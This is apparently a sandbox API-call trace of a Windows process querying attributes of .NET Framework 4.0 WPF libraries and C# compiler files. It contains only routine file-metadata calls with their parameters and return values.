	[0088.487] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\PenIMC.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\penimc.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e00f8 | out: lpFileInformation=0x125e00f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5daefc20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x16498)) returned 1
	[0088.488] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\PresentationBuildTasks.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\presentationbuildtasks.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e0148 | out: lpFileInformation=0x125e0148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5dc20720, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x92f78)) returned 1
	[0088.488] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\PresentationCore.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\presentationcore.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e0198 | out: lpFileInformation=0x125e0198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5df8c6c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x34d4c0)) returned 1
	[0088.488] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\PresentationFramework-SystemCore.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\presentationframework-systemcore.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e01e8 | out: lpFileInformation=0x125e01e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5ef9db40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6300)) returned 1
	[0088.488] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\PresentationFramework-SystemData.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\presentationframework-systemdata.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e0238 | out: lpFileInformation=0x125e0238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5efe9e00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x5d00)) returned 1
	[0088.488] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\PresentationFramework-SystemDrawing.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\presentationframework-systemdrawing.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e0288 | out: lpFileInformation=0x125e0288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f05c220, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x5f10)) returned 1
	[0088.488] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\PresentationFramework-SystemXml.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\presentationframework-systemxml.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e02d8 | out: lpFileInformation=0x125e02d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f0a84e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6100)) returned 1
	[0088.489] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\PresentationFramework-SystemXmlLinq.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\presentationframework-systemxmllinq.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e0328 | out: lpFileInformation=0x125e0328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f0f47a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x5910)) returned 1
	[0088.489] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\PresentationFramework.Aero.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\presentationframework.aero.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e0378 | out: lpFileInformation=0x125e0378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5e722ce0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x3cd88)) returned 1
	[0088.489] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\PresentationFramework.AeroLite.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\presentationframework.aerolite.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e03c8 | out: lpFileInformation=0x125e03c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5e795100, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2b998)) returned 1
	[0088.489] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\PresentationFramework.Classic.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\presentationframework.classic.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e0418 | out: lpFileInformation=0x125e0418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5e807520, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2c798)) returned 1
	[0088.489] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\PresentationFramework.Luna.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\presentationframework.luna.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e0468 | out: lpFileInformation=0x125e0468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5e8537e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x76788)) returned 1
	[0088.490] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\PresentationFramework.Royale.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\presentationframework.royale.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e04b8 | out: lpFileInformation=0x125e04b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5e89faa0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x33190)) returned 1
	[0088.490] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\PresentationFramework.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\presentationframework.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e0508 | out: lpFileInformation=0x125e0508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5ec0ba40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x5ce970)) returned 1
	[0088.490] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\PresentationHost_v0400.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\presentationhost_v0400.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e0558 | out: lpFileInformation=0x125e0558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5f32fc40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x386d8)) returned 1
	[0088.490] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\PresentationNative_v0400.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\presentationnative_v0400.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e05a8 | out: lpFileInformation=0x125e05a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5f3ee320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x1054e0)) returned 1
	[0088.490] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\PresentationUI.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\presentationui.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e05f8 | out: lpFileInformation=0x125e05f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f43a5e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xce4b8)) returned 1
	[0088.490] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\ReachFramework.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\reachframework.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e0648 | out: lpFileInformation=0x125e0648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f51ee20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x8f158)) returned 1
	[0088.490] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\System.Printing.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\system.printing.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e0698 | out: lpFileInformation=0x125e0698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x62d0f320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x594c0)) returned 1
	[0088.491] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\System.Speech.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\system.speech.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e06e8 | out: lpFileInformation=0x125e06e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6183b2a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xa6950)) returned 1
	[0088.491] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\System.Windows.Controls.Ribbon.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\system.windows.controls.ribbon.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e0738 | out: lpFileInformation=0x125e0738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6ae7df60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xb5f98)) returned 1
	[0088.492] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\System.Windows.Input.Manipulations.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\system.windows.input.manipulations.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e0788 | out: lpFileInformation=0x125e0788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b1c3da0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x109a8)) returned 1
	[0088.492] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\System.Windows.Presentation.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\system.windows.presentation.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e07d8 | out: lpFileInformation=0x125e07d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b210060, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7190)) returned 1
	[0088.492] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\UIAutomationClient.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\uiautomationclient.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e0828 | out: lpFileInformation=0x125e0828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b44b500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2b768)) returned 1
	[0088.492] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\UIAutomationClientsideProviders.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\uiautomationclientsideproviders.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e0878 | out: lpFileInformation=0x125e0878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b4bd920, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x581a0)) returned 1
	[0088.492] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\UIAutomationProvider.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\uiautomationprovider.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e08c8 | out: lpFileInformation=0x125e08c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b509be0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xc170)) returned 1
	[0088.492] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\UIAutomationTypes.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\uiautomationtypes.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e0918 | out: lpFileInformation=0x125e0918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b52fd40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x19d60)) returned 1
	[0088.496] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\en-US" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.496] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\en-US\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f355da0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5f355da0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5f355da0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.496] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f355da0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5f355da0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5f355da0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.496] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5f355da0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x14ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationHost_v0400.dll.mui", cAlternateFileName="PRESEN~1.MUI")) returned 1
	[0088.496] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.496] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.515] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\csc.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x125e1ae8 | out: lpFileInformation=0x125e1ae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc80ed00, ftCreationTime.dwHighDateTime=0x1cac611, ftLastAccessTime.dwLowDateTime=0x8aaf6f20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xc80ed00, ftLastWriteTime.dwHighDateTime=0x1cac611, nFileSizeHigh=0x0, nFileSizeLow=0xb6)) returned 1
	[0088.516] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.rsp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\csc.rsp"), fInfoLevelId=0x0, lpFileInformation=0x125e1b38 | out: lpFileInformation=0x125e1b38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdae73200, ftCreationTime.dwHighDateTime=0x1cac5ce, ftLastAccessTime.dwLowDateTime=0x9ebb5160, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xdae73200, ftLastWriteTime.dwHighDateTime=0x1cac5ce, nFileSizeHigh=0x0, nFileSizeLow=0x531)) returned 1
	[0088.516] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\cvtres.exe"), fInfoLevelId=0x0, lpFileInformation=0x125e1b88 | out: lpFileInformation=0x125e1b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x682bbe00, ftCreationTime.dwHighDateTime=0x1d09e6f, ftLastAccessTime.dwLowDateTime=0x590b2e00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x682bbe00, ftLastWriteTime.dwHighDateTime=0x1d09e6f, nFileSizeHigh=0x0, nFileSizeLow=0xb8b0)) returned 1
	[0088.516] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\cvtres.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x125e1bd8 | out: lpFileInformation=0x125e1bd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x8ab1d080, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x119)) returned 1
	[0088.517] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\default.win32manifest" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\default.win32manifest"), fInfoLevelId=0x0, lpFileInformation=0x125e1c28 | out: lpFileInformation=0x125e1c28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdae73200, ftCreationTime.dwHighDateTime=0x1cac5ce, ftLastAccessTime.dwLowDateTime=0x8ab431e0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xdae73200, ftLastWriteTime.dwHighDateTime=0x1cac5ce, nFileSizeHigh=0x0, nFileSizeLow=0x1ea)) returned 1
	[0088.517] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\dfdll.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\dfdll.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e1c78 | out: lpFileInformation=0x125e1c78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x59125220, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x2c298)) returned 1
	[0088.517] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\dfsvc.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\dfsvc.exe"), fInfoLevelId=0x0, lpFileInformation=0x125e1cc8 | out: lpFileInformation=0x125e1cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5914b380, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x5c98)) returned 1
	[0088.518] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\dfsvc.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\dfsvc.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x125e1d18 | out: lpFileInformation=0x125e1d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8f6e100, ftCreationTime.dwHighDateTime=0x1ca2998, ftLastAccessTime.dwLowDateTime=0x8ab431e0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xa8f6e100, ftLastWriteTime.dwHighDateTime=0x1ca2998, nFileSizeHigh=0x0, nFileSizeLow=0xa7)) returned 1
